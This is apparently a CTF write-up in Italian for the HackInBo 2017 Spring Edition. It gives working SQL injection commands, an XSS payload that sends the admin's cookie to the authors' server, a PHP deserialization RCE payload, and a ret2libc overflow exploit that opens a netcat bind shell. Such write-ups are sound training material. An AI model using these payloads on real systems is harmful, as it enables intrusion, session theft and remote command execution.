SOLUZIONE HiB CTF 2017 Spring Edition

Dalle 23:59 del 31/03/2017 alle 23:59 del 02/04/2017 è stato possibile partecipare alla CTF di HackInBo, organizzata da Voidsec e dagli amici di Hacktive Security.
I primi 45 in classifica avranno la possibilità di accedere ai LAB di HackInBo il 7/05/2017, infatti per la 3° volta, nella sua edizione primaverile, HackInBo durerà 2 giorni, il primo con diversi talk e una tavola rotonda conclusiva, mentre durante il secondo i vincitori della CTF si potranno cimentare in alcuni laboratori tenuti dai relatori e da altri esperti di vari settori legati al mondo della Sicurezza Informatica.

Descrizione

Il nostro team ha partecipato alla CTF e siamo lieti di condividere con voi passo per passo come abbiamo risolto le varie challenge.
La CTF era studiata per rispecchiare uno scenario realistico, ovvero non con l’approccio jeopardy, di conseguenza non si poteva “scegliere” quale challenge fare, ma esisteva un percorso abbastanza (lo vedremo più avanti) ferreo che passava per passaggi obbligati.
Ai partecipanti veniva fornito unicamente un link a un sito web, che era il punto di partenza della CTF: http://ctf-hib.thesthack.com

Flag

It’s Not that hard Flag

Per trovare la prima flag è stato sufficiente visualizzare il sorgente della home page e decodificare il base64 contenuto nel commento HTML.

1
2
echo -n "SXQncyBub3QgdGhhdCBoYXJkIGZsYWc6IDRiMTQwZjdlN2QzYzA0YmI3YjU0ZjY5NmFiNThhNDQx" | base64 -d
It's not that hard flag: 4b140f7e7d3c04bb7b54f696ab58a441

Oh, did I get banned Flag

La CTF era configurata per bannare chi facesse eccessivo utilizzo di tool automatici di scansione (es. Acunetix) e reindirizzava questa tipologia di tentativi verso la pagina 403.php.
Analizzando il sorgente di questa pagina è stato possibile trovare la seconda flag.

 Tgialli’s User’s Session

Questa flag ha bloccato la maggior parte dei partecipanti alla CTF, infatti era necessario sfruttare una SQL Injection molto difficile da scovare data la posizione insolita e i filtri applicati.
Dopo aver fuzzato tutti i campi disponibili abbiamo provato a lavorare con il cookie settato dalla pagina (PHPSESSID).
Questo cookie normalmente viene impostato alla creazione di una sessione PHP e viene utilizzato per tenere attiva la sessione degli utenti e riferirsi alla variabile $_SESSION lato server in cui vengono normalmente inseriti i dati di sessione di un utente. Dopo aver provato una serie di Payload abbiamo identificato la presenza di una SQL Injection Blind Time Based, tuttavia la presenza di una serie di filtri non permetteva di sfruttarla ed è stato necessario sostituire gli spazi con i commenti di MySQL /**/ e i caratteri <> con la keyword di MySQL BETWEEN.
Malgrado queste accortezze, impostando gli accorgimenti in fase di detection, con sqlmap risultavano dei falsi positivi, di conseguenza è stato necessario effettuare la fase di detection senza utilizzare alcun tamper e la fase di exploitation con i tamper space2comment e between.

Salvando quindi la richiesta a una delle pagine vulnerabili (es. search.php) in un file req_search.txt e lanciando il seguente comando è stato possibile far riconoscere la vulnerabilità a sqlmap.

1
sqlmap -r req_search.txt --risk 3 --level 5 --technique T --no-cast --dbms mysql

Lanciando successivamente questo comando è stato possibile ottenere lo user di MySQL in uso.

1
sqlmap -r req_search.txt --no-cast --tamper=space2comment,between --current-user

Una volta dumpato il database markito_db è stato possibile trovare nella tabella aact il PHPSESSID dello user tgialli, ovvero la flag.

5, 'tgialli', '*70AB5C6D9BA2E215AB6B746C8C459AAF3BDF9DC4', 'tgialli@example.com', '0', 'bkmu18q6edsn2h74kge1sp2eu3'

User Flag

Ottenuto il cookie di sessione di tgialli è stato sufficiente impostarlo nel nostro browser per poter accedere come tgialli e recarci in user.php, dove analizzando il sorgente è stato possibile trovare una nuova flag.

Admin’s session

Nella pagina user.php abbiamo notato la possibilità di inviare una richiesta di supporto all’amministratore del sito.

Abbiamo innanzitutto provato a mandare una Question con il seguente contenuto, per verificare la possibilità di inserire codice HTML e il fatto che qualcuno (o qualcosa) controllasse le richieste.

1
<img src="http://nostro-server.it/test-ctf-hib">

Visualizzando gli access.log del nostro server abbiamo visto una richiesta da parte dell’IP del server della CTF con come refferer: http://ctf-hib.thesthack.com/support/support_inquiry_gerijhgrw545427hgt2hjgg8u398.html
Visitando tale pagina abbiamo trovato il nostro payload e questo ci ha dato la possibilità di vedere se e quali caratteri venissero filtrati dall’applicativo. Dopo alcuni tentativi abbiamo scoperto che script, alert e altri caratteri venivano rimossi, quindi abbiamo scritto un payload che rispettasse tali regole con lo scopo di identificare il cookie dell’amministratore, non essendo presente nel DB appena dumpato.

1
<img src="http://nostro-server.it/prima_richiesta" onerror="this.src='http://nostro-server.it/seconda_richiesta?' + document.cookie">

Nei nostri access.log abbiamo ricevuto queste richieste.

Il cookie dell’amministratore era la nostra flag.

PHPSESSID=7fa26c8192a47a49b9530be18e1310e5

Double Rainbow Challenge

Utilizzando il cookie appena ottenuto è stato possibile accedere alla sezione amministrativa del sito administrator.php (questa pagina è stata ottenuta effettuando una scansione con dirsearch: dirsearch --url "http://ctf-hib.thesthack.com/" -e php).

Navigando le varie sezioni disponibili abbiamo identificato la pagina settings.php come unica con parametri dinamici, nello specifico caso abbiamo notato la presenza di un cookie editor con il seguente contenuto.

TzoxMToiU3R5bGVFZGl0b3IiOjM6e3M6ODoiZmlsZXBhdGgiO3M6MTU6Ii4vY3NzL2Fzc2V0LmNzcyI7czo4OiJmdWxscGF0aCI7czoyNjoiL3Zhci93d3cvQ1RGL2Nzcy9hc3NldC5jc3MiO3M6NzoiYXVkaXRvciI7TzoxMzoiU2VjdXJpdHlDaGVjayI6Mjp7czo3OiJhdHRhY2tzIjthOjI6e2k6MDtzOjk6IihbLl0rXC8pLyI7aToxO3M6ODoiKFx4MDApJC8iO31zOjc6InJlcGxhY2UiO3M6MjoiLi8iO319

Una volta effettuata una base64_decode abbiamo identificato il seguente oggetto PHP serializzato.

O:11:"StyleEditor":3:{s:8:"filepath";s:15:"./css/asset.css";s:8:"fullpath";s:26:"/var/www/CTF/css/asset.css";s:7:"auditor";O:13:"SecurityCheck":2:{s:7:"attacks";a:2:{i:0;s:9:"([.]+\/)/";i:1;s:8:"(\x00)$/";}s:7:"replace";s:2:"./";}}

Nella pagina in questione era presente una textarea contente il file asset.css, lo stesso a cui si fa riferimento nella variabile filepath dell’oggetto StyleEditor, di conseguenza abbiamo provato a modificare tale path con quella di altri file, ottenendone il sorgente.

Arrivati a questo punto abbiamo scaricato il sorgente dei file collegati a settings.php, così da poter scoprire se fosse possibile ottenere una Remote Command Execution sul server attraverso la unserialize.

/var/www/CTF/settings.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
<?php
require('./config/inc.php');
if(@$_COOKIE["PHPSESSID"]==="7fa26c8192a47a49b9530be18e1310e5"){
include_once "./config/editor.php";
session_start();
	if(isset($_POST['editbtn'])){
	$page = @$_GET['edit'];
	header("Location: ".$_SERVER["PHP_SELF"]."?error");
	}
	
	if(!isset($_GET['edit'])){
	if(isset($_COOKIE['editor'])){
		$Editor = unserialize(base64_decode($_COOKIE['editor']));
	}else{
		$Editor = new StyleEditor("./css/asset.css");
		setcookie("editor",base64_encode(serialize($Editor)));
	}
	}else{
	$Editor = new StyleEditor(@$_GET['edit']);
	setcookie("editor",base64_encode(serialize($Editor)));
	}
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="utf-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="description" content="">
	<meta name="author" content="">
	<title>Admin Interface</title>
	<link href="../css/bootstrap.min.css" rel="stylesheet">
	<link href="../css/sb-admin-2.css" rel="stylesheet">
</head>
<body>
	<div id="wrapper">
		<nav class="navbar navbar-default navbar-static-top" role="navigation" style="margin-bottom: 0">
			<div class="navbar-header">
				<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
					<span class="sr-only">Toggle navigation</span>
					<span class="icon-bar"></span>
					<span class="icon-bar"></span>
					<span class="icon-bar"></span>
				</button>
				<a class="navbar-brand" href="administrator.php">Admin Interface</a>
			</div>
			<div class="navbar-default sidebar" role="navigation">
				<div class="sidebar-nav navbar-collapse">
					<ul class="nav" id="side-menu">
						<li>
							<a href="administrator.php"><i class="fa fa-dashboard fa-fw"></i> Admin Dashboard</a>
						</li>
						<li>
							<a href="transactions.php"><i class="fa fa-dashboard fa-fw"></i> Review Transactions</a>
						</li>
						<li>
							<a href="settings.php"><i class="fa fa-dashboard fa-fw"></i> Settings</a>
						</li>
						<li>
							<a href="logout.php"><i class="fa fa-dashboard fa-fw"></i> Logout</a>
						</li>
					</ul>
				</div>
			</div>
		</nav>
		<div id="page-wrapper">
			<div class="row">
				<div class="col-lg-12">
					<h1 class="page-header">Settings</h1>
				</div>
			</div>
			<div class="row">
				<div class="col-lg-12">
					<div class="panel panel-default">
						<div class="panel-heading">
							<i class="fa fa-clock-o fa-fw"></i> Markito Settings
						</div>
						<div class="panel-body">
							<table class="table table-striped">
								<tr>
									<td><label>PCI Gateway</label></td>
									<td>
									<input value="10.0.0.165:65099" type="text" size="60" id="ip"></input>
									</td>
								</tr>
								<tr>
									<td>
										<label>Fraud Detection</label>
									</td>
									<td>
										<label class="radio-inline">
										<input id="optionsRadiosInline1" type="radio" value="option1" name="optionsRadiosInline"/>
										Disabled
										</label>
										<label class="radio-inline">
										<input id="optionsRadiosInline2" type="radio" checked="" value="option2" name="optionsRadiosInline"/>
										Enabled
										</label>
									</td>
								</tr>
							</table>
						</div>
					</div>
					<div class="panel panel-default">
						<div class="panel-heading">
						Update Template
						</div>
						<div class="panel-body">
								<div class="form-group">
								<textarea class="form-control" rows="15"><?php echo $Editor->get_content(); ?></textarea>
								</div>
								<form method=post action="<?php echo htmlspecialchars($_SERVER['PHP_SELF'])."?edit"; ?>">
								<button name="editbtn" class="btn btn-primary" onclick="document.forms[0].submit()"><i class="fa fa-edit "></i> Edit</button>
								</form>
								<br><br>	
							<?php
								if(isset($_REQUEST['success'])){
									echo '<div class="alert alert-success"><strong>Done!</strong> File was edited.</div>';
								}else if(isset($_REQUEST['error'])){
									echo '<div class="alert alert-danger"><strong>Error!</strong> Permission denied.</div>';
								}
							?>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</body>
</html>
<?php }else{header("Location: administrator.php");} ?>

/var/www/CTF/config/editor.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
<?php
//Hat tips to @dzonerzy
error_reporting(E_ALL);
ini_set('display_errors', '1');

function in($s, $f){
	if (preg_match('/'.$f.'/i',$s)){
		return 1;
	}else{
		return 0;
	}
}

Class StyleEditor{
	public $filepath;
	public $fullpath;
	public $auditor;
	
	function __construct($fp){
		$this->auditor  = new SecurityCheck;
		$this->filepath = $fp;
		$this->fullpath = $this->get_path();
	}
	
	public function exists(){
		if (isset($this->filepath)) {
			return file_exists($this->filepath);
		}
	}
	
	public function fix_path_traversal(){
		return preg_replace("/([.]+\/)/", "", $copy_date);
	}
	
	public function get_safe(){
		return htmlspecialchars($this->filepath);
	}
	
	public function set_file_path($val){
		$this->filepath = $val;
	}
	
	public function set_full_path($val){
		$this->fullpath = $val;
	}
	
	public function get_path(){
		return realpath($this->get_safe());
	}
	
	public function get_content(){
		return htmlspecialchars(file_get_contents($this->get_path()));
	}
	
	public function get(){
		return $this->filepath;
	}
	
	function __wakeup(){
		$badwords = array(
							"eval",
							"passthru",
							"system","
							shell_exec",
							"popen",
							"preg_match",
							"preg_replace",
							"dl",
							"fwrite",
							"file_put_contents",
							"exec",
							"fputs",
							"`",
							"require",
							"include",
							"include_once",
							"require_once"
					);
		foreach ($this->auditor->attacks as $attack) {
			foreach ($badwords as $hackattempt){
				if(in($this->auditor->replace, $hackattempt)){
					die("WAF");
				}
			}
			$this->fullpath = @preg_replace("/". $attack , $this->auditor->replace , $this->fullpath);
		}
	}
}


Class SecurityCheck {
	public $attacks = array("([.]+\/)/", "(\\x00)$/");    
	public $replace = './';    
	public function get_attacks()
	{
		return $this->attacks;
	}    
}
?>

Appena ottenuto il codice un sorriso ci ha coperto i volti, essendo lo stesso codice utilizzato durante la nostra CTF Hands Off My Money.
Fondamentalmente settings.php effettuava una unserialize dell’oggetto presente nel cookie, instanziando 2 oggetti PHP (StyleEditorSecurityCheck) di cui potevamo controllare tutte le variabili pubbliche.
Al __wake_up della classe StyleEditor veniva effettuata una sostituzione nella variabile fullpath dei caratteri presenti nell’array attacks con la stringa presente nella variabile replace, a patto che questa non contenesse nessuna delle stringhe presenti nell’array badwords.
Tale sostituzione veniva fatta dalla funzione preg_replace di PHP, la quale, in presenza del modifier /e nel primo parametro, esegue il codice PHP presente nel secondo argomento.
Di conseguenza inserendo nel nostro oggetto serializzato una stringa presente in fullpath all’interno di attacks, seguito da un /e e del codice PHP in replace, a patto che questo non fosse presente in badwords, questo codice veniva eseguito.

Tuttavia per ottenere RCE sul server era necessario bypassare i controlli presenti nelle badwords, per farlo abbiamo utilizzato la funzione assert, la quale svolge la medesima azione di eval; al suo interno abbiamo inserito una str_replace, che sostituiva gli spazi all’interno della parola s y stem, infine all’interno della system abbiamo inserito $_GET['a'], ottenedo di fatto che la pagina eseguisse system($_GET['a']) e che il controllo delle badwords fosse bypassato.
Il payload finale pertanto è il seguente.

O:11:"StyleEditor":3:{s:8:"filepath";s:19:"./config/editor.php";s:8:"fullpath";s:22:"/var/www/CTF/index.php";s:7:"auditor";O:13:"SecurityCheck":2:{s:7:"attacks";a:2:{i:0;s:7:"(php)/e";i:1;s:8:"(\x00)$/";}s:7:"replace";s:58:"assert(str_replace(' ','','s y s tem(').'$_GET["a"]'.')');";}}

Dalla precedente scansione con dirsearch era stato possibile identificare la pagina http://ctf-hib.thesthack.com/invoker/JMXInvokerServlet/ con il seguente contenuto.

Abbiamo quindi provato ad effettuare una cat del file /var/www/CTF/invoker/JMXInvokerServlet/index.php e abbiamo trovato la flag al suo interno.

/*Double rainbow flag: 6333d7fdc399af3b94177f037de19c2f*/

 PCI Zone Flag

Arrivati a questo punto potevamo eseguire comandi arbitrari sulla macchina target, abbiamo quindi provveduto ad effettuare una reverse shell per semplificare l’interazione con il server e, ricordandoci la presenza di un riferimento all’IP 10.0.0.165 nel file settings.php proprio in merito a una PCI Zone, abbiamo controllato quali interfacce di rete fossero presenti.

Ottimo! Ecco il nostro IP nella medesima /24 del server PCI, non avendo a disposizione nmap sul server target abbiamo provveduto a scriverne un mini sostituto in bash, sfruttando netcat per vedere le porte aperte del server PCI.

$ for port in `seq 1 65535`; do nc -z 10.0.0.165 $port && echo "$port Open"; done
22 Open
80 Open
65099 Open

Avendo la porta 80 aperta abbiamo provato con curl a vedere se fosse presente un webserver e se fosse esposta qualche pagina.

Provando ad effettuare una curl su /server siamo entrati in possesso del binario esposto sulla porta 65099 del server 10.0.0.165.

Scaricato il binario in locale abbiamo provveduto ad analizzarlo.

Il file in questione era un eseguibile a 32-bin linkato dinamicamente e utilizzava libc. Analizzandone il comportamento con strace abbiamo identificato che all’avvio bindava la porta 65099 e forkava un processo, il quale rimaneva in ascolto di eventuali connessioni.

Aprendo il binario in gdb abbiamo provato ad inviare una stringa composta da 1000 A per vedere come si comportava.

Successivamente abbiamo provato con 2000 A, ottenendo una sovrascrittura di EIP e un crash del programma.

A questo punto era chiaro che fosse presente un buffer overflow che ci permetteva di aver controllo di EIP. Quindi con checksec abbiamo analizzato le restrizioni presenti per l’exploitation.

Come si può vedere NX risultava abilitato, di conseguenza non era possibile scrivere uno shellcode nello stack ed eseguirlo, proprio perché era NX (Not Executable), per l’exploitation era necessario quindi effettuare una ROP chain. Non essendo però presenti gadget utili nel binario stesso era necessario utilizzare una ret2libc e sfruttare le funzioni incluse in libc (es. system).
Per prima cosa è stato necessario trovare la corretta versione di libc. Questo era possibile attraverso la versione del kernel e del sistema operativo presenti nel changelog.txt, tuttavia anche con questi dati non era one-shot la scelta, quindi durante la CTF è stato fornito l’address della system come hint ( (gdb) p system $1 = {} 0xb7e643e0 <__libc_system>).

Avendo l’indirizzo della funzione system, sapendo che ASLR era disabilitato e avendo individuato il buffer overflow è stato possibile scrivere un exploit che facesse le seguenti cose:

  1. Scrivesse un comando sullo stack (bind shell con netcat)
  2. Riempisse lo stack fino a prima di EIP
  3. Sovrascrivesse EIP con l’indrizzo della system
  4. Scrivesse 8 byte di padding (indirizzo di ritorno dopo la system)
  5. Scrivesse l’indirizzo dello stack dove era pesente il nostro comando (argomento della system)

Il problema di questo exploit è che non potevamo sapere con certezza la posizione del comando nello stack dell’eseguibile sul server target, tuttavia un bruteforce era possibile in quanto l’indirizzo era compreso tra 0xbfffe000 e 0xbfffffff.
Di conseguenza l’exploit finale è il seguente.

sploit.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from struct import pack
from struct import unpack
import sys
import socket

def p(addr):
		return pack("<I",addr)

def attempt(baseaddr):
		stack_base = p(baseaddr)
		pop2ret = p(0x080489ee)
		strcpy = p(0x8048550)
		system = p(0xb7e643e0)
		shell = "/bin/sh -c 'nc -e /bin/sh -lnp 4647 &';"
		offset = "A"*(1036 - len(shell))

		buffer = ""
		buffer += shell
		buffer += offset

		buffer += system
		buffer += "AAAA"
		buffer += stack_base

		return buffer

print int(sys.argv[1],0)
buffer = attempt(int(sys.argv[1],0))
target = "10.0.0.165"
port = 65099
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target,port))
s.send(buffer)
s.recv(2000)
s.close()

launcher.py

1
2
for base in range(0xbfffe000, 0xbfffffff):
		print hex(base)
$ for i in `python launcher.py`; do python sploit.py $i; done

Lanciandolo veniva eseguita una bind shell sul server 10.0.0.165 sulla porta 4647, alla quale era possibile collegarsi ed eseguire comandi arbitrari sul server target.

Effettuando un cat del file flag.txt è stato possibile ottenere la flag.

pci zone flag: 95429c6709bb99d1ed06d2a99bc6ffbc

ECB Padding Flag

Avendo ottenuto RCE sul server della PCI è stato possibile recuperare la flag di questa challenge.

Il file php completo è il seguente.

/var/www/PCI/index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);

define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
define("FLAG","856bc9fc0d0b3c23d1a58c8e93a433e4");

function aes($data, $encrypt) {
	$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
	$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
	$iv = "1234567891234567";
	mcrypt_generic_init($aes, MY_AES_KEY, $iv);
	return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}

define('MY_MAC_LEN', 40);

function hmac($data) {
	return hash_hmac('sha1', data, MY_HMAC_KEY);
}

function encrypt($data) {
	return aes($data . hmac($data), true);
}

function decrypt($data) {
	$data = rtrim(aes($data, false), "\0");
	$mac = substr($data, -MY_MAC_LEN);
	$data = substr($data, 0, -MY_MAC_LEN);
	return hmac($data) === $mac ? $data : null;
}

$settings = array();
if (@$_COOKIE['pci_crypt']) {
		echo @decrypt(base64_decode($_COOKIE['pci_crypt']));
		$settings = unserialize(@decrypt(base64_decode($_COOKIE['pci_crypt'])));
}
if (@$_POST['cc'] && is_string($_POST['cc']) && strlen($_POST['cc']) < 200) {
	$settings = array(
			'cc' => $_POST['cc'],
			'value' => ('echo ' . escapeshellarg("{$_POST['cc']}")),
	);
	setcookie('pci_crypt', base64_encode(@encrypt(serialize($settings))));
}
$d = array();
if (@$settings['value']) {
	passthru($settings['value']);
}else {
?>
<h3>PCI Token Generator v.0.0.2</h3>
<h4>(Debug)</h4>
<form action='index.php' method='POST'><br>
CC number? <input type='text' name='cc' /><br>
<input type='submit' name='submit' value='Submit' />
</form>
<!-- it's kinda bugged, read the changelog-->
<?php
		}
?>

Per una descrizione completa di questa challenge ecco 2 writeup molto ben fatti:

  1. http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
  2. http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/

Credit Card n° 6666 Flag

Avendo compromesso il primo server è stato possibile dumpare il database e ottenere i dati della carta 6666 ('6666','7cLGMYqWY2bGgYPIDlE+CODHAwwLJiAMIUSghfke+QgCMNrEQyj7TlnqU4nNuZFTLsVvVWQ15jH3JYsgvwq6/CcaQczRD/0csxB7rqiR3DQ='), tuttavia era presente un campo token con una stringa cifrata, sapendo però che sul secondo server era presente il decrypter in php è stato sufficiente settare un cookie pci_crypt contente il token, per ottenere in risposta la versione decifrata.

Effettuando un md5 della stringa decifrata si otteneva la flag.

$ php -r 'echo(md5("5512782764526946|170|10/08/2020"));'
bc13ff4c1b4a7ada0c6dcf2dec4e4404

C Source Flag

Questa flag purtroppo non era accessibile in quanto era stata impostata in una costante del codice C del server, ma non era utilizzata nello stesso, di conseguenza al momento della compilazione è stata rimossa dai processi di ottimizzazione di gcc.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#define FLAG "355c71e5b0f5e70ab77f27d750a2a75a"

/*
* compile: gcc -fno-stack-protector -z execstack server.c -o server
*/

void processcc (int sock);
void error(char *msg);
void viewer(char *string);

int main( int argc, char *argv[] ) {
   int sockfd, newsockfd, portno, clilen;
   char buffer[2000];
   struct sockaddr_in serv_addr, cli_addr;
   int n, pid;
   
   /* First call to socket() function */
   sockfd = socket(AF_INET, SOCK_STREAM, 0);
   
   if (sockfd < 0) {
      error("ERROR: opening socket");
   }
   
   /* Initialize socket structure */
   bzero((char *) &serv_addr, sizeof(serv_addr));
   portno = 65099;
   
   serv_addr.sin_family = AF_INET;
   serv_addr.sin_addr.s_addr = INADDR_ANY;
   serv_addr.sin_port = htons(portno);
   
   /* Now bind the host address using bind() call.*/
   if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
      error("ERROR: binding");
   }
   
   /* Now start listening for the clients, here
      * process will go in sleep mode and will wait
      * for the incoming connection
   */
   
   listen(sockfd,5);
   clilen = sizeof(cli_addr);
   
   while (1) {
      newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
    
      if (newsockfd < 0) {
         error("ERROR: accepting clients");
      }
      
      /* Create child process */
      pid = fork();
    
      if (pid < 0) {
         error("ERROR: on fork");
      }
      
      if (pid == 0) {
         /* This is the client process */
         close(sockfd);
         processcc(newsockfd);
         exit(0);
      }
      else {
         close(newsockfd);
      }
    
   } /* end of while */
}

void processcc (int sock) {
   int n;
   char buffer[2000];
   bzero(buffer,2000);
   n = read(sock,buffer,2000);
      
    /* Create file where data will be stored */
    FILE *fp;
    fp = fopen("credit_card.csv", "ab"); 
    if(NULL == fp)
    {
        error("ERROR: opening file");
    }
   
   if (n < 0) {
      error("ERROR: reading from socket");
   }
   
   viewer(buffer);
   n = write(sock,"[OK] CC RECEIVED",16);
   fwrite(buffer, 1, 2000, fp);
   
   if (n < 0) {
      error("ERROR: writing to socket");
   }
  
}

void viewer(char *string){
    char buffer_out[1024];
    strcpy(buffer_out,string);
    printf("\nCC Received: %s",buffer_out);
}

void error(char *msg){
  perror(msg);
    exit(1);
}

Conclusione

Speriamo che il nostro writeup sia di aiuto per chi si fosse bloccato durante la CTF e speriamo di vedervi tutti ad HackInBo il 6 Maggio.

Per chi volesse leggere un altro writeup il team di JBZ, di faccio orgogliosamente parte (smaury) e i cui membri sono stati gli unici a completare tutta la CTF, ne ha pubblicato uno: https://jbzteam.github.io/web/crypto/reversing/HackInBo17-SpringEdition

Su richiesta degli organizzatori sono stati rimossi i sorgenti della CTF. Nel caso non siate riusciti a partecipare e/o vogliate provare con mano ad exploitare le varie vulnerabilità contattate direttamente Hacktive Security.

5 min

Data

2 aprile 2017

Autore

smaury

Sono Abdel Adim Oisfi più conosciuto come smaury.
Lavoro: CEO, Security Researcher, Penetration Tester in Shielder.
Passioni: Hacking, autostop, tuffi e ginocchia sbucciate.